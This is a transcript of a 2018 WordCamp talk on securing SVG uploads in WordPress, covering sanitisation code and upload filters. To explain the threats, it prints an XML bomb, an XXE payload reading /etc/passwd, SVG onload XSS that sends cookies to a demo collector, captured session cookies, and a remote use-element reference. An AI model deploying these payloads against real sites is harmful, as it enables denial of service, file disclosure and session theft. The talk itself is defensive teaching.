Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Securing SVG Uploads in WordPress

Securing SVG Uploads in WordPress

Talk from WordCamp London 2018.

Designers and developers are increasingly using SVGs to replace standard image formats. That’s all well and good, but they may not be aware of the inherent security risks that come with allowing users to upload them themselves.

In this talk I aim to explore some of the main issues that surround SVG uploads and why we’ve not seen this feature in WordPress yet. We’ll also look into why they need to be sanitised and the problems that can occur if we don’t properly secure them.

Avatar for Daryll Doyle

Daryll Doyle

April 14, 2018
Tweet

Other Decks in Technology

Transcript

  1. Daryll Doyle Daryll Doyle Safe SVG / WP SVG 20,000+

    installs Developer at NYMBLE Based in Cornwall wearenymble.co.uk SVG Sanitizer PHP library Around 80,000 downloads from Packagist
  2. What we'll cover What we'll cover What is an SVG?

    The issues with SVGs How we sanitise them SVGs within WordPress
  3. An image? An image? SVGs are more like standalone SVGs

    are more like standalone XML applications! XML applications!
  4. How can we use an SVG? How can we use

    an SVG? Open Directly Via or Via or Through CSS (backgrounds, fonts etc) Include it in-line <object> <embed> <image> <img>
  5. How can we use an SVG? How can we use

    an SVG? Open Directly Via or Via or Through CSS (backgrounds, fonts etc) Include it in-line <object> <embed> <image> <img>
  6. XML Bomb XML Bomb Denial of Service attack against the

    XML parser <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
  7. XXE XXE XML External Entity Processing attacks the XML parser

    to retrieve file contents <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  8. XSS XSS Cross Site Scripting... <!DOCTYPE html> <html> <head> <title>SVG

    Demo</title> </head> <body> <svg onload="alert(1)"> <rect x="0" y="0" width="1000" height="1000"> </rect> </svg> </body> </html>
  9. XSS XSS A more likely use <!DOCTYPE html> <html> <head>

    <title>SVG Demo</title> </head> <body> <h1>What a lovely circle...</h1> <svg height="400" width="400" onload="setTimeout(function(){ var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://svgdemo.local/collect.php'); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(encodeURI('url=' + window.location.href + '&cookies=' + document.cookie)) }, 1500)"> <circle cx="200" cy="200" r="100" fill="red"></circle> </svg> </body> /h l
  10. XSS XSS A more likely use Time: 2018-03-03 15:18:03 URL:

    http://svgdemo.dev/demos/basic_cookies.php Cookies: PHPSESSID=c02ae6c446a1fdfb63542c0d7e3cc881 Time: 2018-03-03 15:21:18 URL: http://svgdemo.dev/demos/basic_cookies.php Cookies: PHPSESSID=c02ae6c446a1fdfb63542c0d7e3cc881
  11. Removing the Doctype Removing the Doctype Disable entity loading Disable

    Error reporting Load SVG file Remove Doctype
  12. Load SVG and Remove Doctype Load SVG and Remove Doctype

    $dom = new DOMDocument(); $dom->loadXML( $dirty_svg_string ); foreach ( $dom->childNodes as $child ) { if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType ) { $child->parentNode->removeChild( $child ); } }
  13. Strip PHP Code Strip PHP Code <svg xmlns="http://www.w3.org/2000/svg" width="500" height="40"

    viewBox="0 0 500 40"> <text x="0" y="35" font-family="Verdana" font-size="35"> <?php echo 'Hello, out there'; ?> </text> </svg> $dirty = preg_replace('/<\?(=|php)(.+?)\?>/i', '', $dirty);
  14. Check Elements Against Whitelist Check Elements Against Whitelist $allowedTags =

    array( // An array of whitelisted tags ); $dom = new DOMDocument() $dom->loadXML( $dirty ); $allElements = $dom->getElementsByTagName( "*" ); for ( $i = $allElements->length - 1; $i >= 0; $i--) { $currentElement = $allElements->item( $i ); if ( ! in_array( strtolower( $currentElement->tagName ), $allowedTags ) ) { $currentElement->parentNode->removeChild( $currentElement ); continue; } }
  15. The Use Element The Use Element <svg width="80" height="80" xmlns="http://www.w3.org/2000/svg"

    xmlns:x="http://www.w3.o <defs> <g id="Port"> <circle style="fill: inherit;" r="10"/> </g> </defs> <text y="15">black</text> <use x="50" y="10" href="#Port" /> <text y="55">blue</text> <use x="50" y="50" href="#Port" style="fill: blue;"/> </svg>
  16. The Use Element The Use Element <svg width="80" height="80" xmlns="http://www.w3.org/2000/svg"

    xmlns:x="http://www.w3.o <text y="15">Nothing going on here...</text> <use x="50" y="10" href="https://dodgy-website.example.com/hacked.svg#abc" /> </svg>
  17. xlink:href and href cleaning xlink:href and href cleaning if (

    preg_match( '/(?:\w+script|data):/xi', $hrefs ) === 1 ) { if ( ! in_array( substr( $hrefs, 0, 14 ), array( 'data:image/png', // PNG 'data:image/gif', // GIF 'data:image/jpg', // JPG 'data:image/jpe', // JPEG 'data:image/pjp', // PJPEG ) ) ) { $element->removeAttributeNS( 'http://www.w3.org/1999/xlink', 'href' ); } }
  18. function cc_mime_types( $mimes ) { $mimes[ 'svg' ] = 'image/svg+xml';

    return $mimes; } add_filter( 'upload_mimes', 'cc_mime_types' ); Thanks css-tricks.com
  19. function check_for_svg( $file ) { if ( $file['type'] === 'image/svg+xml'

    ) { if ( ! sanitize_svg( $file['tmp_name'] ) ) { $file['error'] = __( "An error message" ); } } return $file; } add_filter( 'wp_handle_upload_prefilter', 'check_for_svg' );
  20. What can you do? What can you do? Use a

    plugin! Use a plugin! Safe SVG - Daryll Doyle Lord of the Files - Blobfolio, LLC Report any issues! Report any issues!